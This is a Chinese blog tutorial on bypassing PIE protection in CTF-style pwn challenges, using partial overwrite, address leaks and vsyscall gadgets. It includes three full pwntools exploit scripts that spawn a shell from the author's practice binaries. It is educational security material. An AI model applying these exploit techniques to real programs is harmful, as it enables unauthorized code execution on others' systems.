pwn学习-pie绕过

之前学习了栈溢出常见的利用手法,有ret2text、ret2plt、ret2syscall、ret2shellcode、ret2libc、ret2csu溢出栈迁移,这里接着学习一下常见的绕过pie的手法

PIE

PIE(Position Independent Executables)是编译器gcc的一个功能选项fpie,主要的功能是随机化了ELF装载的基地址,使用分页内存偏移定位到每一行指令,常见的表现形式是如果开启了PIE保护,使用file或者readelf读取的文件类型会是LSB shared object共享文件

这里需要注意一下,PIE是对二进制程序做的地址随机化,而ASLR是系统层面的地址随机化,这两个放到一起,基本上是猜测不到程序的内存布局,这使得我们获取到的gadget也是一个距离基地址的偏移,无法成功的执行。但是一般只有安全性较高的程序会使用,因为PIE相对来说比较影响程序的性能。

gcc编译时开启和关闭pie的选项:

  • -no-pie : 关闭pie
  • fpie -pie: 开启pie(默认选项)

开启了pie有一个很显著的区别,就是使用ida或者objdump分析的地址都是内存分页的偏移

下面我学习了三种绕过方法绕过,分别是Partial overwrite、泄露地址、vsyscall绕过,具体如下
注:本实验使用的程序
链接:https://pan.baidu.com/s/1Ej36NzBWt5BouBM7ieWgoA
提取码:15br

Partial overwrite

顾名思义,就是写入部分的数据,来控制程序的执行流程,例如:程序都是使用偏移来定位指令,如果我们获取到了backdoor后门函数的偏移,将返回地址的后三位覆盖为backdoor的地址,从而执行backdoor函数。
具体原理:因为程序运行起来的时候开启了pie和aslr,无法获取程序的准确地址,但是虽然前面的地址是不知道的,但是一个内存分页的大小为0x1000,这基本上确定了,偏移地址只能在0~999之间,一般情况下,返回地址都会在一个内存分页上,所以我们覆盖返回地址的后三位,从而执行backdoor函数
但是我们在覆盖的时候,写入三个十六进制的情况是很少的,一个字节为8bit,一个字节由四位十六进制组成,三位十六进制是12bit,因为我们平常写入都是一次性写入一个字节(8bit),如果写入两个字节,就会有一个十六进制位是不确定的,这时就需要运气才能成功执行backdoor函数,但是我们可以使用爆破的方式,多次运行程序,总有一个会成功

实操如下:
使用pie_bypass1

buf存在栈溢出,同时找到了一个backdoor函数

接着根据上述思路构造exp

from pwn import *
# context(log_level='debug')


padding = 0x18 + 0x4
backdoor = b"\xF0" + b"\x06"
payload = b"A" * padding + backdoor


count = 1
while True:
	p = process("./pie_bypass1")
	try:
		count += 1
		print(count,end=' ')
		p.recvuntil(b"Leave a message!\n")
		p.send(payload)
		recv = p.recv(timeout=10)
	except:
		print("error",end=' ')
	else:
		p.interactive()
		break

backdoor地址可以通过ida找到,也可以使用objdump查看

运行的到shell

泄露地址绕过

pie只会影响程序加载的基地址,如果程序中某个函数,泄露了程序在内存中的地址,我们可以将泄露的地址 - 泄露地址偏移得到基地址,从而可以使用基地址 + 偏移地址定位到程序中的任意位置,这个时候我们的gadget就可以使用了,就可以使用常规的ROPchain获取shell

例如pie_bypass1为例,使用pwndbg调试到read溢出位置,找到main +32的返回地址

使用objdump得到该行的偏移

使用内存地址 - 偏移的到基地址

但是通常这个地址每次都是随机的,我们需要泄露出改地址才可以进行利用,接着我们看pie_bypass2的实操

使用ida分析

该程序输出了retaddr就是程序返回的内存地址,拥有了泄露的该地址,我们就可以使用上述算出基地址的方法getshell

exp如何写呢?如下

from pwn import *
context(log_level='debug')

p = process("./pie_bypass2")
e = ELF("./pie_bypass2")

retaddr = int(p.recvuntil(b"what?")[1:15],16)
log.success("retaddr: " + str(hex(retaddr)))
p.recv()

base_addr = retaddr - 0x951
log.success("base_addr: " + str(hex(base_addr)))

pop_rdi = 0x00000000000009c3
pop_rsi_r15 = 0x00000000000009c1
buf = 0x202000 - 0x20
read_plt = e.sym['read']
main = e.sym['main']
ret = 0x0000000000000288
system = e.sym['system']


padding = 0x30 + 0x8
payload = b"A" * padding
payload += p64(ret + base_addr)
payload += p64(pop_rdi + base_addr)
payload += p64(0) 
payload += p64(pop_rsi_r15 + base_addr) 
payload += p64(buf + base_addr) 
payload += p64(0)
payload += p64(read_plt + base_addr)
payload += p64(main + base_addr)

p.send(payload)
p.send(b"/bin/sh\x00")


p.recvuntil("=_=i \n")
padding = 0x30 + 0x8
payload = b"A" * padding
payload += p64(ret + base_addr)
payload += p64(pop_rdi + base_addr)
payload += p64(buf + base_addr)
payload += p64(system + base_addr)
#input("attack")
p.send(payload)

p.interactive()

运行的到shell

vsyscall

pie虽然让地址随机了,但是有一个固定的段vsyscall是固定,其中有几个gadget可以使用,其中有的可以将rax设置为0,通过栈溢出,可覆盖的栈中数据,这时如果栈中有libc、栈的内存地址,可以配合Partial overwrite调用后门函数,或者配合ong_gadget调用libc中的getshell代码

由于我本机的vsyscall没有r读取权限,所以这里看不到gadget的指令

这里参考别人的图片

接着使用pie_bypass3实验,实际操作如下:
使用ida分析

先调用了backdoor函数,然后调用了message_board函数

backdoor函数返回了system函数的地址 + 0x17600的偏移,暂时没有用

buf存在咱溢出,使用pwndbg分析

发现backdoor函数将libc中的一个偏移地址push入栈,

溢出后发现覆盖5gadget就可以使用Partial overwrite方法覆盖后三位,尝试覆盖为ong_gadget的getshell地址
使用ong_gadget分析libc文件

使用system + 0x0x17600 - libc基地址得到该指令的偏移

和one_gadget获得最后一个0x10a2fc距离比较近,这个gadget需要一个条件,就是rsp+0x70的值为0
接着尝试写exp

from pwn import *
# context(log_level='debug')

vsyscall = 0xffffffffff600000
padding = 0x10 + 8
payload = b"A" * padding 
payload += p64(vsyscall) * 5
payload += b"\xfc" + b"\xc2"

count = 0
while True:
	try:
		count += 1
		print(count,end=' ')
		p = process("./pie_bypass3")
		p.recvuntil("Leave a message!\n")
		p.send(payload)
		p.recv(timeout=10)
	except:
		print("error")
	else:
		p.interactive()
		break

# p = process("./pie_bypass3")
# p.recvuntil("Leave a message!\n")

# input("attack")
# p.send(payload)
# p.interactive()

运行得到shell

posted @ 2024-06-18 11:35  Junglezt  阅读(7)  评论(0编辑  收藏  举报